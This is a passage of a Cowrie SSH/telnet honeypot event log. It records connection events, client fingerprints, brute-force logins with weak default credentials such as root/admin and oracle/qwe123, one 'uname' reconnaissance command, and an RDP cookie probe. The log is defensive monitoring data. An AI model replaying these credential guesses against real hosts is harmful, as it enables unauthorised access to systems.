.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:09.083257Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:09.656494Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:10.083455Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:10.086957Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:10.278937Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:10.284952Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":19852,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd505e871c12","protocol":"ssh","message":"New connection: 103.24.63.85:19852 (159.203.135.109:22) [session: bd505e871c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:24.790273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:24.811186Z","src_ip":"103.24.63.85","session":"bd505e871c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:24.984547Z","src_ip":"103.24.63.85","session":"bd505e871c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37274,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd750a7c03b","protocol":"telnet","message":"New connection: 192.119.13.58:37274 (10.17.0.5:23) [session: dbd750a7c03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:25.479218Z"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:25.795070Z","src_ip":"103.24.63.85","session":"bd505e871c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05562472343445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:26.931157Z","src_ip":"192.119.13.58","session":"c6a296edb0f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43578,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4522a0d5dc","protocol":"telnet","message":"New connection: 192.119.13.58:43578 (10.17.0.5:23) [session: 8f4522a0d5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:26.955483Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:27.025881Z","src_ip":"103.24.63.85","session":"bd505e871c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.05996322631836,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:27.840500Z","src_ip":"192.119.13.58","session":"b7b0c3973063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56416,"dst_ip":"10.17.0.5","dst_port":23,"session":"c773e0f73c78","protocol":"telnet","message":"New connection: 192.119.13.58:56416 (10.17.0.5:23) [session: c773e0f73c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:37.536929Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b88149b0613","protocol":"telnet","message":"New connection: 192.119.13.58:33774 (10.17.0.5:23) [session: 9b88149b0613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:39.124564Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":25115,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9cffc7297bb","protocol":"ssh","message":"New connection: 103.24.63.85:25115 (159.203.135.109:22) [session: b9cffc7297bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:39.566322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:39.570769Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:39.777822Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.71931290626526,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:40.168251Z","src_ip":"192.119.13.58","session":"d1eef0de3284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38926,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc11b8f80fde","protocol":"telnet","message":"New connection: 192.119.13.58:38926 (10.17.0.5:23) [session: bc11b8f80fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:40.458684Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:40.634762Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:41.073750Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:41.076883Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:41.304631Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:41.309442Z","src_ip":"103.24.63.85","session":"b9cffc7297bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.12943983078003,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:44.454252Z","src_ip":"192.119.13.58","session":"a0346195e3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56766,"dst_ip":"10.17.0.5","dst_port":22,"session":"177d8c4c6273","protocol":"ssh","message":"New connection: 167.172.81.52:56766 (10.17.0.5:22) [session: 177d8c4c6273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:44.952390Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:44.958716Z","src_ip":"167.172.81.52","session":"177d8c4c6273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:44.962770Z","src_ip":"167.172.81.52","session":"177d8c4c6273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95f2ca64560","protocol":"telnet","message":"New connection: 192.119.13.58:59568 (10.17.0.5:23) [session: b95f2ca64560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:45.724741Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38310,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b67ced9dc6a","protocol":"telnet","message":"New connection: 192.119.13.58:38310 (10.17.0.5:23) [session: 9b67ced9dc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:47.464120Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39708,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fbc06299f7a","protocol":"telnet","message":"New connection: 192.119.13.58:39708 (10.17.0.5:23) [session: 9fbc06299f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:47.772209Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46100,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50e79677de3","protocol":"telnet","message":"New connection: 192.119.13.58:46100 (10.17.0.5:23) [session: f50e79677de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:49.277852Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39648,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd72408b977a","protocol":"telnet","message":"New connection: 192.119.13.58:39648 (10.17.0.5:23) [session: dd72408b977a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:54.886248Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":29806,"dst_ip":"159.203.135.109","dst_port":22,"session":"d211e0587ebf","protocol":"ssh","message":"New connection: 103.24.63.85:29806 (159.203.135.109:22) [session: d211e0587ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:55.450892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:55.456368Z","src_ip":"103.24.63.85","session":"d211e0587ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:55.652292Z","src_ip":"103.24.63.85","session":"d211e0587ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43082,"dst_ip":"10.17.0.5","dst_port":23,"session":"287cc125d797","protocol":"telnet","message":"New connection: 192.119.13.58:43082 (10.17.0.5:23) [session: 287cc125d797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:55.824040Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:56.242081Z","src_ip":"103.24.63.85","session":"d211e0587ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.52602005004883,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:56.541264Z","src_ip":"192.119.13.58","session":"cc151432652e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:57.477156Z","src_ip":"103.24.63.85","session":"d211e0587ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42514,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9fcd88e3f6","protocol":"telnet","message":"New connection: 192.119.13.58:42514 (10.17.0.5:23) [session: ce9fcd88e3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:03.987375Z"}
{"eventid":"cowrie.session.closed","duration":43.62806272506714,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:10.583413Z","src_ip":"192.119.13.58","session":"8f4522a0d5dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.04272961616516,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:12.521837Z","src_ip":"192.119.13.58","session":"dbd750a7c03b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11313796043396,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:16.649969Z","src_ip":"192.119.13.58","session":"c773e0f73c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016062021255493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:16.740681Z","src_ip":"192.119.13.58","session":"b95f2ca64560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.78641152381897,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:19.245011Z","src_ip":"192.119.13.58","session":"bc11b8f80fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.499802112579346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:21.271878Z","src_ip":"192.119.13.58","session":"9fbc06299f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51486659049988,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:24.978859Z","src_ip":"192.119.13.58","session":"9b67ced9dc6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31094288825989,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:26.588673Z","src_ip":"192.119.13.58","session":"f50e79677de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418692588806152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:27.242619Z","src_ip":"192.119.13.58","session":"287cc125d797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33894,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2f47fe9baa","protocol":"telnet","message":"New connection: 192.119.13.58:33894 (10.17.0.5:23) [session: 2c2f47fe9baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:29.487232Z"}
{"eventid":"cowrie.session.closed","duration":51.93401551246643,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:31.058464Z","src_ip":"192.119.13.58","session":"9b88149b0613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.6620819568634,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:33.548223Z","src_ip":"192.119.13.58","session":"dd72408b977a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d49557aa2a8","protocol":"telnet","message":"New connection: 192.119.13.58:59384 (10.17.0.5:23) [session: 2d49557aa2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:35.683995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52754,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2a8800d67f","protocol":"telnet","message":"New connection: 192.119.13.58:52754 (10.17.0.5:23) [session: 2b2a8800d67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:41.020451Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"3174662c098f","protocol":"telnet","message":"New connection: 192.119.13.58:53696 (10.17.0.5:23) [session: 3174662c098f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:41.290091Z"}
{"eventid":"cowrie.session.closed","duration":39.99243664741516,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:43.979684Z","src_ip":"192.119.13.58","session":"ce9fcd88e3f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d791cfabdaca","protocol":"telnet","message":"New connection: 192.119.13.58:44032 (10.17.0.5:23) [session: d791cfabdaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:45.686202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":43318,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a0081b7e916","protocol":"ssh","message":"New connection: 103.24.63.85:43318 (159.203.135.109:22) [session: 5a0081b7e916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:47.719944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:15:47.725336Z","src_ip":"103.24.63.85","session":"5a0081b7e916","protocol":"ssh"}
